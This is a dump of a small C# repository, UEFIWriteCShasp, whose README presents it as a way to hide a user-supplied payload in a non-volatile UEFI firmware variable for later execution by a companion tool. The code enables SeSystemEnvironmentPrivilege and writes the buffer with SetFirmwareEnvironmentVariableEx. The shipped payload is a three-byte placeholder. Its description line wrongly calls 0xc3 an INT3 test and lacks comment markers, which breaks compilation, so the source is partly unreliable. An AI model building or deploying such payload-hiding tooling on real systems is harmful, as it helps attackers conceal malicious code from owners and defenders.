├── LICENSE-2.0.txt ├── README.md ├── UEFIWriteCShasp.sln └── UEFIWriteCShasp ├── Program.cs ├── UEFIWriteCShasp.csproj ├── buf.cs └── pinvoke.cs /LICENSE-2.0.txt: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. 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We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright 2019 Topher Timzen 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UEFIWriteCShasp 2 | 3 | UEFIWriteCShasp is a C# application that will write a buffer into a UEFI Variable that is intended to be executed by [UEFIReadCSharp](http://github.com/perturbed-platypus/UEFIReadCSharp). 4 | 5 | The UEFI Variable it will write is "CSHARP-UEFI" and will use the GUID "{E660597E-B94D-4209-9C80-1805B5D19B69}" which is the VirtualBox Test GUID. 6 | 7 | ## How to Play 8 | 9 | 1. Put your payload in `buf.cs` as a byte array in `public static byte[] buffer` 10 | 1. Build the project using msbuild / visual studio 11 | 1. Run the binary to Hide yo Sh!t! 12 | -------------------------------------------------------------------------------- /UEFIWriteCShasp.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.168 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "UEFIWriteCShasp", "UEFIWriteCShasp\UEFIWriteCShasp.csproj", "{DADA66E3-3AD6-454C-B765-9534E3DC9471}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {DADA66E3-3AD6-454C-B765-9534E3DC9471}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {DADA66E3-3AD6-454C-B765-9534E3DC9471}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {DADA66E3-3AD6-454C-B765-9534E3DC9471}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {DADA66E3-3AD6-454C-B765-9534E3DC9471}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {819C91FD-52BE-4EB6-B076-0A750F92827E} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /UEFIWriteCShasp/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace UEFIWriteCShasp 8 | { 9 | class Program 10 | { 11 | static void Main() 12 | { 13 | string variableName = "CSHARP-UEFI"; 14 | string GUID = "{E660597E-B94D-4209-9C80-1805B5D19B69}"; 15 | 16 | int error = 0; 17 | bool pass = false; 18 | IntPtr bufferPRE = IntPtr.Zero; 19 | bool ret = pinvoke.SetPriv(); 20 | 21 | System.Runtime.InteropServices.GCHandle pinnedArray = System.Runtime.InteropServices.GCHandle.Alloc(buf.buffer, System.Runtime.InteropServices.GCHandleType.Pinned); 22 | bufferPRE = pinnedArray.AddrOfPinnedObject(); 23 | pass = pinvoke.SetFirmwareEnvironmentVariableEx(variableName, GUID, bufferPRE, (uint)buf.buffer.Length, (uint)pinvoke.dwAttributes.VARIABLE_ATTRIBUTE_NON_VOLATILE); 24 | 25 | if (!pass) 26 | { 27 | error = System.Runtime.InteropServices.Marshal.GetLastWin32Error(); 28 | } 29 | pinnedArray.Free(); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /UEFIWriteCShasp/UEFIWriteCShasp.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {DADA66E3-3AD6-454C-B765-9534E3DC9471} 8 | Exe 9 | UEFIWriteCShasp 10 | UEFIWriteCShasp 11 | v4.6.1 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /UEFIWriteCShasp/buf.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace UEFIWriteCShasp 8 | { 9 | class buf 10 | { 11 | A test to see if the program haults with INT3 when it executes the firmware variable 12 | public static byte[] buffer = new byte[] 13 | { 14 | 0xc3, 0xc3, 0xc3 15 | }; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /UEFIWriteCShasp/pinvoke.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace UEFIWriteCShasp 9 | { 10 | class pinvoke 11 | { 12 | #region UEFI 13 | public enum dwAttributes : uint 14 | { 15 | VARIABLE_ATTRIBUTE_NON_VOLATILE = 0x00000001, 16 | VARIABLE_ATTRIBUTE_BOOTSERVICE_ACCESS = 0x00000002, 17 | VARIABLE_ATTRIBUTE_RUNTIME_ACCESS = 0x00000004, 18 | } 19 | 20 | /* 21 | BOOL WINBASEAPI SetFirmwareEnvironmentVariableEx( 22 | _In_ LPCTSTR lpName, 23 | _In_ LPCTSTR lpGuid, 24 | _In_ PVOID pValue, 25 | _In_ DWORD nSize, 26 | _In_ DWORD dwAttributes 27 | ); 28 | */ 29 | [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)] 30 | public static extern bool SetFirmwareEnvironmentVariableEx(String lpName, String lpGuid, IntPtr pValue, uint nSize, uint dwAttributes); 31 | #endregion 32 | 33 | #region tokens 34 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 35 | internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); 36 | 37 | [DllImport("kernel32.dll", ExactSpelling = true)] 38 | internal static extern IntPtr GetCurrentProcess(); 39 | 40 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 41 | internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); 42 | 43 | [DllImport("advapi32.dll", SetLastError = true)] 44 | internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); 45 | 46 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 47 | internal struct TokPriv1Luid 48 | { 49 | public int Count; 50 | public long Luid; 51 | public int Attr; 52 | } 53 | 54 | // http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx 55 | internal const int SE_PRIVILEGE_ENABLED = 0x00000002; 56 | internal const int TOKEN_QUERY = 0x00000008; 57 | internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; 58 | internal const string SE_TIME_ZONE_NAMETEXT = "SeSystemEnvironmentPrivilege"; 59 | 60 | public static bool SetPriv() 61 | { 62 | bool retVal; 63 | TokPriv1Luid tp; 64 | IntPtr hproc = GetCurrentProcess(); 65 | IntPtr htok = IntPtr.Zero; 66 | retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); 67 | tp.Count = 1; 68 | tp.Luid = 0; 69 | tp.Attr = SE_PRIVILEGE_ENABLED; 70 | retVal = LookupPrivilegeValue(null, SE_TIME_ZONE_NAMETEXT, ref tp.Luid); 71 | retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); 72 | return retVal; 73 | } 74 | #endregion 75 | } 76 | } 77 | --------------------------------------------------------------------------------